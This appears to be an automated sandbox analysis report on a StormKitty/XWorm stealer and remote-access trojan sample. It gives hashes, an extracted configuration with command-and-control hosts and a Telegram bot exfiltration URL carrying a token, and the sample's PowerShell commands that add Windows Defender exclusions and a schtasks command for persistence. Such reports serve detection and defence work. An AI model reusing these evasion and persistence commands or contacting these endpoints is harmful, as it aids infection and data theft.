stormkitty | 9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982

General

Target

9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe
Size

1.9MB
MD5

0fa0f690b52cbae6bc8ebbe14f3c3e18
SHA1

9ddef8fe6dd6ebb967d2013d8f922da6bd7f32a7
SHA256

9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982
SHA512

72a7868f4c9febb29e9cd58669d71840d01066120134dff18536e3049d1ed2b72449a871ac63f838f2dd8d98ad43568a2b54a4669d2ff4f821f346547eff5b82
SSDEEP

49152:1cAik7bXfOK/h8ouCv7NNKD19hCi1aD8K95Zvwe:aABvOK/hzNNMkOaD8KtZ

Score

10^/10

stormkitty xworm discovery execution persistence rat stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

vpss.ddns.net:1245

indic.serveftp.com:1245

Mutex

ZlxMvmg7wbh8VVle

Attributes

Install_directory
%AppData%
install_file
Process for Setting Synchronization .exe
telegram
https://api.telegram.org/bot6089519915:AAF7fGsNdxVbpoG7s96nf2ioIN27LQpQuh8/sendMessage?chat_id=597592591

aes.plain

Signatures

Detect Xworm Payload 6 IoCs

resource	yara_rule
behavioral1/memory/2212-4-0x0000000000400000-0x00000000005F6000-memory.dmp	family_xworm
behavioral1/memory/2660-7-0x0000000000080000-0x0000000000092000-memory.dmp	family_xworm
behavioral1/memory/2660-9-0x0000000000080000-0x0000000000092000-memory.dmp	family_xworm
behavioral1/memory/2660-11-0x0000000000080000-0x0000000000092000-memory.dmp	family_xworm
behavioral1/memory/2212-32-0x0000000000400000-0x00000000005F6000-memory.dmp	family_xworm
behavioral1/memory/2212-41-0x0000000000400000-0x00000000005F6000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/2660-45-0x0000000006F90000-0x00000000070B0000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2136	powershell.exe
1312	powershell.exe
3056	powershell.exe
2276	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Process for Setting Synchronization .lnk	csc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Process for Setting Synchronization .lnk	csc.exe

Loads dropped DLL 1 IoCs

pid	Process
2660	csc.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\FirefoxUpdater = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\FirefoxUpdate\\Firefox.exe"	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\Process for Setting Synchronization = "C:\\Users\\Admin\\AppData\\Roaming\\Process for Setting Synchronization .exe"	csc.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2212 set thread context of 2660	2212	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe	30

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
620	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2660	csc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2136	powershell.exe
1312	powershell.exe
3056	powershell.exe
2276	powershell.exe
2660	csc.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	csc.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	2660	csc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2660	csc.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 2660	2212	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe	30
PID 2212 wrote to memory of 2660	2212	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe	30
PID 2212 wrote to memory of 2660	2212	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe	30
PID 2212 wrote to memory of 2660	2212	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe	30
PID 2212 wrote to memory of 2660	2212	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe	30
PID 2212 wrote to memory of 2660	2212	9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe	30
PID 2660 wrote to memory of 2136	2660	csc.exe	31
PID 2660 wrote to memory of 2136	2660	csc.exe	31
PID 2660 wrote to memory of 2136	2660	csc.exe	31
PID 2660 wrote to memory of 2136	2660	csc.exe	31
PID 2660 wrote to memory of 1312	2660	csc.exe	33
PID 2660 wrote to memory of 1312	2660	csc.exe	33
PID 2660 wrote to memory of 1312	2660	csc.exe	33
PID 2660 wrote to memory of 1312	2660	csc.exe	33
PID 2660 wrote to memory of 3056	2660	csc.exe	35
PID 2660 wrote to memory of 3056	2660	csc.exe	35
PID 2660 wrote to memory of 3056	2660	csc.exe	35
PID 2660 wrote to memory of 3056	2660	csc.exe	35
PID 2660 wrote to memory of 2276	2660	csc.exe	37
PID 2660 wrote to memory of 2276	2660	csc.exe	37
PID 2660 wrote to memory of 2276	2660	csc.exe	37
PID 2660 wrote to memory of 2276	2660	csc.exe	37
PID 2660 wrote to memory of 620	2660	csc.exe	39
PID 2660 wrote to memory of 620	2660	csc.exe	39
PID 2660 wrote to memory of 620	2660	csc.exe	39
PID 2660 wrote to memory of 620	2660	csc.exe	39

C:\Users\Admin\AppData\Local\Temp\9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe
"C:\Users\Admin\AppData\Local\Temp\9a34f0fec4bab7739f220dab713d8bca30c5cb72e9755a2ddbb32077b076c982.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'csc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1312
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Process for Setting Synchronization .exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3056
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Process for Setting Synchronization .exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2276
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Process for Setting Synchronization " /tr "C:\Users\Admin\AppData\Roaming\Process for Setting Synchronization .exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:620

C:\Windows\system32\taskeng.exe
taskeng.exe {5EE95C34-B138-4C55-A272-D1FDC9929209} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
1⤵
PID:640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Browser Information Discovery

1

T1217

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
84deaed0d0c7d91a3e17f4ec973affb5

SHA1
f6cc79007b4548e0573a89d3e0751f7001cbfffe

SHA256
849251ebdc13b23311f8f8e1b07e949f6ff6c6f34928b696d52f83aeedd79e1a

SHA512
635c57c9666db035584705dd83410e757713313964586a9da269f3f88e3ad78c80bcd1edf3d7b34ab5ec81425ae57098c9e7f57ca0b140cd99e53a10596d6aa6

Download Submit
\Users\Admin\AppData\Roaming\Process for Setting Synchronization .exe

Filesize
2.1MB

MD5
00c5eb029f9263291c91277e37b5fe4c

SHA1
a2c9b1eb1cfe18fa86bcc382250ba304b92cf897

SHA256
31fa9a05ad114c683a189a17f7e12a3bb93a0ed07c8029a89c1b7508da4f1f31

SHA512
5a0ac2b25a6cb63945c882055d16486d1a40c5f87786ea1439f5f8fc5a1da77aa80c8d090750ca14340b22bb48a7dfa0b2f5abf66df70a90e6e0c9b763398857

Download Submit
memory/2212-41-0x0000000000400000-0x00000000005F6000-memory.dmp

Filesize
2.0MB

Download
memory/2212-42-0x0000000000407000-0x0000000000421000-memory.dmp

Filesize
104KB

Download
memory/2212-3-0x0000000000400000-0x00000000005F6000-memory.dmp

Filesize
2.0MB

Download
memory/2212-1-0x0000000000407000-0x0000000000421000-memory.dmp

Filesize
104KB

Download
memory/2212-0-0x0000000000400000-0x00000000005F6000-memory.dmp

Filesize
2.0MB

Download
memory/2212-31-0x0000000000407000-0x0000000000421000-memory.dmp

Filesize
104KB

Download
memory/2212-32-0x0000000000400000-0x00000000005F6000-memory.dmp

Filesize
2.0MB

Download
memory/2212-2-0x0000000000400000-0x00000000005F6000-memory.dmp

Filesize
2.0MB

Download
memory/2212-4-0x0000000000400000-0x00000000005F6000-memory.dmp

Filesize
2.0MB

Download
memory/2660-12-0x00000000749BE000-0x00000000749BF000-memory.dmp

Filesize
4KB

Download
memory/2660-11-0x0000000000080000-0x0000000000092000-memory.dmp

Filesize
72KB

Download
memory/2660-9-0x0000000000080000-0x0000000000092000-memory.dmp

Filesize
72KB

Download
memory/2660-7-0x0000000000080000-0x0000000000092000-memory.dmp

Filesize
72KB

Download
memory/2660-39-0x00000000749B0000-0x000000007509E000-memory.dmp

Filesize
6.9MB

Download
memory/2660-40-0x00000000749BE000-0x00000000749BF000-memory.dmp

Filesize
4KB

Download
memory/2660-5-0x0000000000080000-0x0000000000092000-memory.dmp

Filesize
72KB

Download
memory/2660-6-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2660-43-0x00000000749B0000-0x000000007509E000-memory.dmp

Filesize
6.9MB

Download
memory/2660-44-0x0000000000BC0000-0x0000000000BCE000-memory.dmp

Filesize
56KB

Download
memory/2660-45-0x0000000006F90000-0x00000000070B0000-memory.dmp

Filesize
1.1MB

Download
memory/2660-70-0x0000000002650000-0x000000000265C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads